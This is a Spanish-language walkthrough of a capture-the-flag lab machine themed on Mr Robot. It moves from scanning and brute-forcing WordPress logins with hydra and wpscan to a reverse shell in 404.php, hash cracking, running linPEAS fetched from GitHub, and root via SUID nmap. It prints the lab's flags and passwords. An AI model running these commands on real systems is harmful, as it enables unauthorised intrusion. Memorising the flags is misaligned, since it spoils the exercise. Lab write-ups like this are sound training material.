

netdiscover
192.168.1.36
08:00:27:20:a6:6c

nmap -A -T5 -sV -p- 192.168.1.36
80/tcp open http Apache httpd
443/tcp open ssl/http Apache httpd

dirb http://192.168.1.36
Encontramos <http://192.168.1.36/robots.txt> donde marca cosas interesante
User-agent: *

fsociety.dic
key-1-of-3.txt
También vemos que es un wp donde existe un formulario de administración:
<http://192.168.1.36/wp-login.php>

fsociety.dic es un diccionario que descargamos, vemos que tiene más de **800000** palabras **muchas repetidas** por lo que decidimos **ordenar y filtrar con el comando**

cat palabras.dic | sort | uniq > pass.txt

Comando que muestra todos los ficheros con **cat**, el resultado se lo pasa a **sort** que lo ordena de forma alfabética y el resultado se lo pasa a **uniq** que es un comando que elimina todas las líneas repetidas, el resultado de la encadenación se redirige a **pass.txt** donde encontramos un fichero ya con solo **14500** referencias, palabras.

key-1-of-3.txt es la primera bandera pero intrascendente:
073403c8a58a1f80d943455fb30724b9

El siguiente paso y con todo lo que hemos encontrado es hacer **fuerza bruta sobre el formulario del wp** para intentar encontrar el usuario, dado que el formulario muestra errores diferentes en función del fallo:

Muestra en parte del html "Invalid username" para esto se puede usar **hydra**, **wpscan**, **burpsuite** o incluso desarrollar a medida, comandos:

wpscan --update (actualiza la base de datos del comando wpscan)
wpscan --url http://192.168.1.36/ -e u (intenta enumerar todo, temas, plugins, vulnerabilidades, usuario, etc) pero no conseguimos mucho

Pasamos a **hydra**:

hydra -L pass.txt -p test 192.168.1.36 http-post-form "/wp-login.php/:log=^USER^&pwd=^PASS^:Invalid username"

Siendo **-L pass.txt** la lista que hemos descargado y filtrado y se la pasamos como lista de usuario, **-p** usamos la palabra **test** como password único y mientras encuentre "Invalid username" que siga buscando

Encontramos el usuario "**elliott**" nombre del personaje principal de la serie Mr Robot

Con esto intentamos encontrar el password de **elliott**, de nuevo con **wpscan** pero también con **hydra**... comandos:

Recordar que tras probar en el formulario **elliott** con **test** el mensaje de error es diferente y usamos "The password you entered" cuando es enviado en el html para seguir buscando.

```
hydra -l elliot -P pass.txt 192.168.1.36 http-post-form "/wp-  
login.php/:log=^USER^&pwd=^PASS^:The password you entered for the username elliot is  
incorrect"
```

```
wpscan --url http://192.168.1.36/ -e -P pass.txt -U elliot (Funciona)
```

Login del wp

```
http://192.168.1.36/wp-login.php
```

```
usuario wp: elliot
```

```
**** password wp: ER28-0652
```

Entramos en WP e intentamos un shell reverse utilizando el editor de WP, modificando el fichero 404.php de error...

Podemos usar muchas para php... en <https://www.revshells.com/> o en <https://gtfobins.org/>

Una shell reverse es algo así como ssh, pero al revés... en lugar del cliente pedir al servidor una conexión, lo que se hace es preparar al cliente con el comando nc a la escucha en un puerto de nuestra selección, esperando a que el servidor conecte, para eso inyectamos en el servidor en este caso en un ejecutable de php un código (shell reverse) que hace que se conecte una vez ejecutamos, RECOMIENDO USAR <https://www.revshells.com/>

También interesa probar un webshell:

```
https://raw.githubusercontent.com/tennc/webshell/master/php/PHPshell/c99/c99.php
```

Pillo el puerto 9002 y tras preparar el php y ejecutar en un terminar como root:

```
nc -lvnp 9002
```

Ejecutamos el php... <http://192.168.1.36/0/no.html> (es un ejemplo, funciona con cualquier cosa que no exista)

Una vez lanzamos tenemos shell (no completo)

```
comando: python -c 'import pty; pty.spawn("/bin/bash")'
```

Para obtener una terminan más interactivo

Investigando parece que existe un **usuario llamado robot y en su home tenemos**

```
/home/robot/key-2-of-3.txt
```

```
/home/robot/password.raw-md5
```

y podemos abrir este último fichero con un hash: robot:c3fcd3d76192e4007dfb496cca67e13b

Lo copiamos en nuestro sistema en un fichero llamado robot.txt y empezamos a intentar:

contenido de robot.txt: c3fcd3d76192e4007dfb496cca67e13b

Usamos varias alternativas para intentar exponer el pass del hash:

```
john hashrobot.txt --wordlist=pass.txt --format=raw-md5
```

Este comando es infructuoso... básicamente intenta usar el mismo diccionario descargado al principio y la bandera --format se le manda el formato, que tras investigar es el bandera adecuada

Se pueden usar sitios como **CrackStation.net** o hashes.com para encontrar el pass de un md5

CrackStation.net nos dice que para c3fcd3d76192e4007dfb496cca67e13b la clave es:

```
abcdefghijklmnopqrstuvwxy
```

Con john:

```
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt robot.txt
```

Encuentra un pass, pero no lo vemos, para verlo usamos el comando

```
john --show --format=Raw-MD5 robot.txt
```

Y también da como pass: abcdefghijklmnopqrstuvwxy

Volvemos a la shell reverse abierta, recordar que habíamos ejecutado el python3 para obtener una terminal interactiva, por lo que ahora si debería funcionar, comando:

su robot

Nos pides el **pass: abcdefghijklmnopqrstuvwxyz**

Y ahora sí!!!!

Estamos logeados como robot... por lo que deberíamos leer la segunda bandera:

cat key-2-of-3.txt

822c73956184f694993bede3eb39f959

De momento no sabemos para que sirve o si sirve para algo, en general estás maquinas suelen ser juegos, y cada vez que encuentras una bandera debes enviar este código para verificar que lo has encontrado, en nuestro caso puede ser intrascendente.

Como ahora ya tenemos mejor terminal... vamos a intentar un LIMPEAS también hay otro que es LINENUM

web LIMPEAS con las instrucciones:

<https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS>

No puedo descargar dado que no tengo permisos de escritura en mi directorio /home/robot/, examinando veo que el directorio **/tmp si los tiene lugar donde lo descargo**, pero me da fallos del certificado ssl, por lo que al final consigo descarga con el siguiente comando:

wget --no-check-certificate

https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas_linux_amd64

Es un binario, por lo que tengo que darle permisos de ejecución

chmod +x linpeas_linux_amd64

Y ejecutar con (no se ve nada y se debe tener paciencia, al final muestra todo de golpe, cuando pide pass para root omitir dando intro)

./linpeas_linux_amd64

Alternativamente también podemos usar el comando o variantes similares para encontrar ficheros SUID

find / -perm -u=s -type f 2>/dev/null

Verificamos todo lo que podamos pero siempre es interesante hechar un vistazo a los ficheros SUID y ver si se puede explotar de alguna forma mirando en <https://gtfobins.org/>

Como era de esperar en estos casos:

-rwsr-xr-x 1 root root 493K Nov 13 2015 /usr/local/bin/nmap

CONOCIDA APLICACIÓN para tod@s, tiene permisos SUID

Ambas opciones linpeas y find, dan a nmap como SUID

Buscando en gtfobins.org para nmap shell, hay algo así como un comando que te permite entrar en un shell de nmap que permite enviar comandos del sistema, se puede ver en:

<https://gtfobins.org/gtfobins/nmap/#shell>

nmap --interactive

!/bin/sh

Una vez dentro ejecuto whoami y BOOOMM soy root

Por intuición busco la tercera bandera... key-3-of-3.txt siguiendo los nombres anteriores, uso el comando:

```
find / -type f -name "key-3-of-3.txt"
```

Lo encuentra en /root/key-3-of-3.txt

```
cat /root/key-3-of-3.txt
```

```
04787ddef27c3dee1ee161b21670b4e4
```

FIN